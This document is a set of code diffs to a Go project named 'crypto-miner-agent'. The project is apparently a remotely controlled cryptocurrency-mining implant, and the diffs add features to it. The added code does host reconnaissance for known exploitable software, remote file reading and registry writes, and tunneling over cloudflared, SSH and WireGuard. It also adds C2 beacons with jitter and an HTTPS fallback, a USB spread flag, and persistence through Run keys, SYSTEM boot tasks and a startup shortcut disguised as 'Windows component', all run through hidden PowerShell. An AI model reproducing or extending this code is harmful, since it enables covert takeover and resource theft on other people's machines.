$citrix = @(
Test-Path 'C:\inetpub\scripts',
(Test-Path 'C:\Program Files\Citrix'),
(Test-Path 'C:\Program Files (x86)\Citrix')
) | Where-Object { $_ }
$out.citrix_present = ($citrix.Count -gt 0)
# F5 BIG-IP local management (rare on desktop)
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
$out.f5_process = ($f5.Count -gt 0)
# Confluence / Atlassian stack
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
})
$out.confluence_like = ($conf.Count -gt 0)
# ManageEngine ADSelfService Plus
$me = @(
Test-Path 'C:\Program Files\ManageEngine',
Test-Path 'C:\ManageEngine'
) | Where-Object { $_ }
$out.manageengine_present = ($me.Count -gt 0)
# Fortinet FortiClient
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
$out.forticlient = ($forti.Count -gt 0)
# VMware vCenter / vSphere client heavy installs
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
$out.vmware_serverish = ($vmw.Count -gt 0)
# Print Spooler (PrintNightmare surface)
try {
$sp = Get-Service Spooler
$out.spooler_running = ($sp.Status -eq 'Running')
} catch { $out.spooler_running = $false }
# Log4j jars — shallow search (bounded)
$log4j = @()
$roots = @(
$env:ProgramFiles,
${env:ProgramFiles(x86)},
'C:\ProgramData'
) | Where-Object { $_ -and (Test-Path $_) }
foreach ($root in $roots) {
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
Select-Object -First 5 -ExpandProperty FullName
}
$out.log4j_jars = @($log4j | Select-Object -Unique)
$out | ConvertTo-Json -Compress -Depth 4
`
type kevProbeResult struct {
ExchangeInstalled bool `json:"exchange_installed"`
IsDomainController bool `json:"is_domain_controller"`
PulsePresent bool `json:"pulse_present"`
CitrixPresent bool `json:"citrix_present"`
F5Process bool `json:"f5_process"`
ConfluenceLike bool `json:"confluence_like"`
ManageEnginePresent bool `json:"manageengine_present"`
FortiClient bool `json:"forticlient"`
VMwareServerish bool `json:"vmware_serverish"`
SpoolerRunning bool `json:"spooler_running"`
Log4jJars []string `json:"log4j_jars"`
}
func runKEVProbe() (*kevProbeResult, error) {
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
kevProbeScript,
)
if err != nil {
return nil, err
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var p kevProbeResult
if err := json.Unmarshal([]byte(raw), &p); err != nil {
return nil, err
}
return &p, nil
}
func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *SysCheckSecurity) *KEVScanReport {
probe, probeErr := runKEVProbe()
findings := make([]KEVFinding, 0, len(KEVCatalog))
patchDays := -1
if patch != nil && patch.LastPatchDays != nil {
patchDays = *patch.LastPatchDays
}
listening := map[int]bool{}
if ports != nil {
for _, p := range ports.Ports {
listening[p.Port] = true
}
}
for _, e := range KEVCatalog {
f := KEVFinding{
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
Status: "clear", Detail: e.Description,
}
if probeErr != nil {
f.Status = "n/a"
f.Detail = "probe unavailable"
findings = append(findings, f)
continue
}
switch e.ID {
case "CVE-2021-26855", "CVE-2020-0688":
if probe.ExchangeInstalled {
f.Status = "exposed"
f.Detail = "Microsoft Exchange services/registry detected — verify Mar 2021+ CU patches"
if patchDays >= 0 && patchDays > 90 {
f.Status = "likely"
f.Detail += "; host patch age > 90 days"
}
}
case "CVE-2020-1472":
if probe.IsDomainController {
f.Status = "likely"
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch (Zerologon) applied"
if patchDays >= 0 && patchDays > 60 {
f.Status = "exposed"
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
}
}
case "CVE-2021-44228":
if len(probe.Log4jJars) > 0 {
f.Status = "likely"
f.Detail = "log4j-core JAR(s) found: " + strings.Join(probe.Log4jJars, "; ")
}
case "CVE-2019-19781":
if probe.CitrixPresent {
f.Status = "likely"
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level if server role"
}
case "CVE-2019-11510":
if probe.PulsePresent {
f.Status = "likely"
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
}
case "CVE-2020-5902", "CVE-2022-1388":
if probe.F5Process || listening[443] {
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
}
}
case "CVE-2021-26084", "CVE-2022-26134":
if probe.ConfluenceLike {
f.Status = "likely"
f.Detail = "Atlassian/Confluence-like Java process — verify Confluence patch level"
}
case "CVE-2021-40539":
if probe.ManageEnginePresent {
f.Status = "likely"
f.Detail = "ManageEngine directory present — verify ADSelfService Plus version"
}
case "CVE-2018-13379":
if probe.FortiClient {
f.Status = "likely"
f.Detail = "Fortinet client process running — verify FortiOS/FortiClient versions on VPN edge"
}
case "CVE-2021-21972":
if probe.VMwareServerish {
f.Status = "likely"
f.Detail = "VMware server-style services detected — verify vCenter patch level"
}
case "CVE-2021-34527":
if probe.SpoolerRunning && !probe.IsDomainController {
f.Status = "likely"
f.Detail = "Print Spooler running — restrict if not required (PrintNightmare era)"
}
}
// Stale patching amplifies any likely/exposed KEV surface
if f.Status == "likely" && patchDays > 120 {
f.Detail += " · OS patches older than 120 days"
}
findings = append(findings, f)
}
r := finalizeKEVReport(findings)
if r.ExposedCount > 0 || r.CriticalCount > 0 {
r.Summary = "CISA KEV-style exposure indicators detected — patch or isolate affected roles"
} else if r.LikelyCount > 0 {
r.Summary = "Some KEV-related software stacks detected — verify versions and patches"
} else {
r.Summary = "No high-confidence KEV exposure indicators on this host"
}
return r
}

View File

@@ -0,0 +1,12 @@
//go:build !windows
package client
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir", "read_file":
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
return true
}
return false
}

View File

@@ -0,0 +1,82 @@
//go:build windows
package client
import (
"encoding/json"
"fmt"
"os"
"crypto-miner-agent/deploy"
)
const maxReadFileBytes = 512 * 1024
type dirEntry struct {
Name string `json:"name"`
IsDir bool `json:"is_dir"`
Size int64 `json:"size"`
}
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
entries, err := os.ReadDir(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
out := make([]dirEntry, 0, len(entries))
for _, e := range entries {
info, err := e.Info()
if err != nil {
continue
}
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
}
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
c.sendCommandResult(action, true, string(b))
return true
case "read_file":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if info.IsDir() {
c.sendCommandResult(action, false, "path is a directory")
return true
}
if info.Size() > maxReadFileBytes {
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
return true
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, string(b))
return true
}
return false
}

View File

@@ -35,4 +35,5 @@ func WGSetupJSON() string {
func WGConfigure(_ WGConfigPayload) error { return nil }
func WGTeardown() {}
func WGIsActive() bool { return false }
func WGStatus() string { return "not supported on this platform" }

View File

@@ -150,6 +150,11 @@ func WGTeardown() {
log.Printf("[pathtracer] WireGuard tunnel torn down")
}
// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
func WGIsActive() bool {
return wgState.tunnelName != ""
}
// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
if wgState.tunnelName == "" {

View File

@@ -41,6 +41,8 @@ type AuthPayload struct {
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
}
type AuthResponse struct {

View File

@@ -0,0 +1,13 @@
//go:build !windows
package client
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
switch action {
case "registry_read", "registry_write", "registry_delete":
c.sendCommandResult(action, false, "registry operations are unsupported on this platform")
return true
default:
return false
}
}

View File

@@ -0,0 +1,89 @@
//go:build windows
package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
type registryCommandPayload struct {
Hive string `json:"hive"`
Path string `json:"path"`
Name string `json:"name"`
Value string `json:"value"`
Type string `json:"type"`
}
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
switch action {
case "registry_read", "registry_write", "registry_delete":
default:
return false
}
payload, err := parseRegistryPayload(path, data)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
hiveToken, err := deploy.ParseRegistryHive(payload.Hive)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
switch action {
case "registry_read":
out, err := deploy.FleetRegistryRead(hiveToken, payload.Path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
b, _ := json.Marshal(out)
c.sendCommandResult(action, true, string(b))
case "registry_write":
if payload.Name == "" || payload.Value == "" {
c.sendCommandResult(action, false, "name and value are required")
return true
}
if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
case "registry_delete":
if payload.Name == "" {
c.sendCommandResult(action, false, "name is required")
return true
}
if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
}
return true
}
func parseRegistryPayload(path, data string) (registryCommandPayload, error) {
var payload registryCommandPayload
if strings.TrimSpace(data) != "" {
if err := json.Unmarshal([]byte(data), &payload); err != nil {
return payload, fmt.Errorf("invalid registry payload JSON: %w", err)
}
}
if payload.Path == "" {
payload.Path = strings.TrimSpace(path)
}
if payload.Hive == "" {
return payload, fmt.Errorf("hive is required (HKCU or HKLM)")
}
if payload.Path == "" {
return payload, fmt.Errorf("path is required")
}
return payload, nil
}

View File

@@ -61,6 +61,8 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
collectSysCheckPlatform(r)
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}

View File

@@ -22,6 +22,7 @@ type FullSysCheckReport struct {
Patch *PatchStatusReport `json:"patch,omitempty"`
Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"`

View File

@@ -0,0 +1,152 @@
package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
var tunnelActions = map[string]bool{
"tunnel_cloudflared": true,
"tunnel_wireguard": true,
"tunnel_ssh_forward": true,
"tunnel_status": true,
"tunnel_stop": true,
"start_tunnel": true, // legacy alias
}
func isTunnelAction(action string) bool {
return tunnelActions[action]
}
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
switch action {
case "tunnel_status", "tunnel_wireguard":
return true, ""
default:
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
}
return true, ""
}
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
if !isTunnelAction(action) {
return false
}
ok, reason := c.allowTunnelAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "tunnel_cloudflared", "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = strings.TrimSpace(path)
}
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_wireguard":
var payload WGConfigPayload
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "tunnel_ssh_forward":
var meta deploy.SSHForwardMeta
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
meta.LocalPort = parsePortArg(command, 0)
hostPort := strings.TrimSpace(path)
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
meta.RemoteHost = hostPort[:idx]
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
}
meta.SSHUser = strings.TrimSpace(data)
}
msg, err := deploy.StartSSHForward(meta)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_status":
raw := deploy.TunnelStatus()
var st deploy.TunnelStatusJSON
_ = json.Unmarshal([]byte(raw), &st)
st.WireGuardActive = WGIsActive()
if st.WireGuardActive {
st.WireGuardDetail = WGStatus()
}
out, _ := json.Marshal(st)
c.sendCommandResult(action, true, string(out))
return true
case "tunnel_stop":
kind := strings.TrimSpace(strings.ToLower(command))
var stopped int
var msgs []string
switch kind {
case "", "all":
stopped, msgs = deploy.StopTunnels()
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped++
}
case "cloudflared", "cf":
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
case "ssh", "ssh_forward":
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
case "wireguard", "wg":
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped = 1
} else {
msgs = append(msgs, "no active WireGuard tunnel")
}
default:
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
return true
}
return false
}

View File

@@ -22,6 +22,16 @@ type BuiltinConfig struct {
RunAs string
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
AutoStart bool
// AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart).
// Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed).
AutostartMode string
// RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows).
// Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed).
RegistryPersistence string
RegistryRunHKCU bool
RegistryRunHKLM bool
RegistryRunOnce bool
RegistryExplorerRun bool
ProcessName string
BuildID string
BuiltAt time.Time
@@ -76,6 +86,15 @@ type BuiltinConfig struct {
RVNPoolTLS bool // primary RVN pool TLS flag
RVNPoolPass string // stratum password (usually "x")
RVNBackupPools []BackupPool // failover RVN pools
// Connection profile — C2 beacon timing and self-destruct
BeaconIntervalSec int // base reconnect delay seconds (0 = default 5)
BeaconJitterPct int // ± percent jitter on reconnect sleep (0100)
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
HTTPSBeaconFallback bool
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
HTTPSBeaconAfterMin int
}
// BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -0,0 +1,101 @@
// Package deploy autostart hooks (Windows, MITRE T1547-style).
//
// Triggers:
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
// - Uninstall / removePersistence → removeAutostartExtras
//
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
// Autostart mode values (baked at forge time via AutostartMode).
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
const (
AutostartNone = "none"
AutostartLogonRun = "logon_run"
AutostartLogonStartupFolder = "logon_startup_folder"
AutostartBootTask = "boot_task"
AutostartLogonTask = "logon_task"
AutostartAll = "all"
)
func runAsHasBuiltInPersistence(runAs string) bool {
switch strings.ToLower(strings.TrimSpace(runAs)) {
case "scheduled", "service", "bits", "host_binary":
return true
default:
return false
}
}
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
// Install + watchdog self-heal both use this list.
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
var modes []string
if raw == "" || raw == "legacy" {
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
modes = []string{AutostartLogonRun}
}
} else if raw == AutostartNone {
modes = nil
} else if raw == AutostartAll {
modes = []string{
AutostartLogonRun,
AutostartLogonStartupFolder,
AutostartBootTask,
AutostartLogonTask,
}
} else {
for _, part := range strings.Split(raw, ",") {
part = strings.TrimSpace(part)
if part == "" || part == AutostartNone {
continue
}
modes = append(modes, part)
}
}
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
}
func dedupeRegistryRunOverlap(modes []string) []string {
hasLegacy := false
hasHKCU := false
for _, m := range modes {
if m == AutostartLogonRun {
hasLegacy = true
}
if m == RegistryHKCURun {
hasHKCU = true
}
}
if !hasLegacy || !hasHKCU {
return modes
}
out := make([]string, 0, len(modes))
for _, m := range modes {
if m == RegistryHKCURun {
continue
}
out = append(out, m)
}
return out
}
func autostartBootTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Boot"
}
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Logon"
}
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + ".lnk"
}

View File

@@ -0,0 +1,15 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
func applyAutostartOnInstall(_ config.RuntimeConfig, _ string) error {
return nil
}
func ensureAutostartHooks(_ config.RuntimeConfig, _ string, _ bool) error {
return nil
}
func removeAutostartExtras(_ config.RuntimeConfig) {}

View File

@@ -0,0 +1,47 @@
package deploy
import (
"testing"
"crypto-miner-agent/config"
)
func TestEffectiveAutostartModesLegacy(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "w1",
AutoStart: true,
RunAs: "user",
}}
modes := effectiveAutostartModes(cfg)
if len(modes) != 1 || modes[0] != AutostartLogonRun {
t.Fatalf("legacy user+AutoStart = %v", modes)
}
cfg.RunAs = "scheduled"
if got := effectiveAutostartModes(cfg); len(got) != 0 {
t.Fatalf("scheduled should not add legacy run key modes: %v", got)
}
}
func TestEffectiveAutostartModesExplicit(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
AutostartMode: "boot_task,logon_startup_folder",
}}
modes := effectiveAutostartModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestAutostartTaskAndShortcutNames(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab-node"}}
if got := autostartBootTaskName(cfg); got != "CryptoMiner-lab-node-Boot" {
t.Fatalf("boot task %q", got)
}
if got := autostartLogonTaskName(cfg); got != "CryptoMiner-lab-node-Logon" {
t.Fatalf("logon task %q", got)
}
if got := autostartStartupShortcutName(cfg); got != "CryptoMiner-lab-node.lnk" {
t.Fatalf("shortcut %q", got)
}
}

View File

@@ -0,0 +1,126 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
// Triggers: first install (InstallIfNeeded) after binary copy.
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
return ensureAutostartHooks(cfg, binPath, false)
}
// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
for _, mode := range effectiveAutostartModes(cfg) {
if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
return err
}
}
return nil
}
func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
switch mode {
case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
if healOnly && registryRunValueExists(cfg, mode, binPath) {
return nil
}
return writeRegistryRunValue(cfg, mode, binPath)
case AutostartLogonStartupFolder:
if healOnly && startupShortcutExists(cfg) {
return nil
}
return createLogonStartupShortcut(cfg, binPath)
case AutostartBootTask:
name := autostartBootTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createBootScheduledTask(cfg, binPath, name)
case AutostartLogonTask:
name := autostartLogonTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createLogonScheduledTask(cfg, binPath, name)
default:
return nil
}
}
func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
startupDir, err := userStartupFolder()
if err != nil {
return err
}
if err := os.MkdirAll(startupDir, 0755); err != nil {
return fmt.Errorf("startup folder: %w", err)
}
lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.Arguments = '%s'
$lnk.WindowStyle = 7
$lnk.Description = 'Windows component'
$lnk.Save()
`,
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(binPath, `'`, `''`),
strings.ReplaceAll(runFlag, `'`, `''`),
)
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
func userStartupFolder() (string, error) {
appData := os.Getenv("APPDATA")
if appData == "" {
return "", fmt.Errorf("APPDATA not set")
}
return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
}
func startupShortcutExists(cfg config.RuntimeConfig) bool {
dir, err := userStartupFolder()
if err != nil {
return false
}
_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
return err == nil
}
func scheduledTaskTrigger(binPath string) string {
return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
}
// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
}
// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
func removeAutostartExtras(cfg config.RuntimeConfig) {
removeRegistryPersistence(cfg)
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
if dir, err := userStartupFolder(); err == nil {
_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
}
}

View File

@@ -0,0 +1,19 @@
//go:build windows
package deploy
import (
"path/filepath"
"strings"
"testing"
)
func TestUserStartupFolderSuffix(t *testing.T) {
dir, err := userStartupFolder()
if err != nil {
t.Skip("APPDATA unset in test environment")
}
if !strings.HasSuffix(filepath.ToSlash(dir), "Programs/Startup") {
t.Fatalf("unexpected startup dir %q", dir)
}
}

View File

@@ -55,10 +55,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
_ = setFirstRunSpreadMarker(installDir)
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
if err := configureAutoStart(cfg, installedBin); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}
if err := applyAutostartOnInstall(cfg, installedBin); err != nil {
return false, fmt.Errorf("autostart: %w", err)
}
if err := configureRunMode(cfg, installedBin); err != nil {

View File

@@ -3,11 +3,7 @@
package deploy
import (
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func scheduledTaskExists(taskName string) bool {
@@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool {
}
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
keyName := PersistenceKeyName(cfg)
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(keyName)
if err != nil {
return false
}
return strings.Contains(val, binPath)
return registryRunValueExists(cfg, AutostartLogonRun, binPath)
}
func serviceExists(svcName string) bool {
@@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
return err
}
}
default:
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
}
return nil
return ensureAutostartHooks(cfg, installedBin, true)
}

View File

@@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) {
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
removeAutostartExtras(cfg)
RemoveBITSPersistence(cfg)
RemoveHostBinaryPersistence(cfg)
svcName := cfg.ServiceName

View File

@@ -0,0 +1,40 @@
package deploy
import (
"fmt"
"strings"
)
var allowedRegistryPathPrefixes = []string{
`software\`,
`environment`,
}
// ParseRegistryHive maps operator hive strings to internal tokens (hkcu/hklm).
func ParseRegistryHive(hive string) (string, error) {
switch strings.ToUpper(strings.TrimSpace(hive)) {
case "HKCU", "HKEY_CURRENT_USER", "CURRENT_USER":
return "hkcu", nil
case "HKLM", "HKEY_LOCAL_MACHINE", "LOCAL_MACHINE":
return "hklm", nil
default:
return "", fmt.Errorf("unsupported hive %q (use HKCU or HKLM)", hive)
}
}
// ValidateRegistryPath ensures fleet registry ops stay under safe prefixes.
func ValidateRegistryPath(hiveToken, subkey string) error {
subkey = strings.TrimSpace(subkey)
subkey = strings.TrimPrefix(subkey, `\`)
subkey = strings.TrimSuffix(subkey, `\`)
if subkey == "" {
return fmt.Errorf("registry path is required")
}
lower := strings.ToLower(subkey)
for _, prefix := range allowedRegistryPathPrefixes {
if strings.HasPrefix(lower, prefix) {
return nil
}
}
return fmt.Errorf("registry path %q is outside the allowed prefix list (Software\\, Environment)", subkey)
}

View File

@@ -0,0 +1,117 @@
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode).
const (
RegistryHKCURun = "hkcu_run"
RegistryHKCURunOnce = "hkcu_run_once"
RegistryHKLMRun = "hklm_run"
RegistryHKLMRunOnce = "hklm_run_once"
RegistryExplorerRun = "explorer_run"
RegistryPersistenceOff = "off"
RegistryPersistenceAll = "combined"
)
// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks.
func RegistryPersistenceValueName(cfg config.RuntimeConfig) string {
name := sanitizeName(cfg.WorkerName)
if name == "" {
name = cfg.EffectiveProcessName()
}
return "AetherForge_" + name
}
// SanitizeRegistryValueName strips characters invalid in registry value names.
func SanitizeRegistryValueName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return "AetherForgeValue"
}
replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
clean := replacer.Replace(name)
if clean == "" {
return "AetherForgeValue"
}
if len(clean) > 255 {
clean = clean[:255]
}
return clean
}
func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string {
raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence))
if raw == "" || raw == RegistryPersistenceOff {
return modesFromRegistryBools(cfg)
}
if raw == RegistryPersistenceAll {
return combinedRegistryModes(cfg)
}
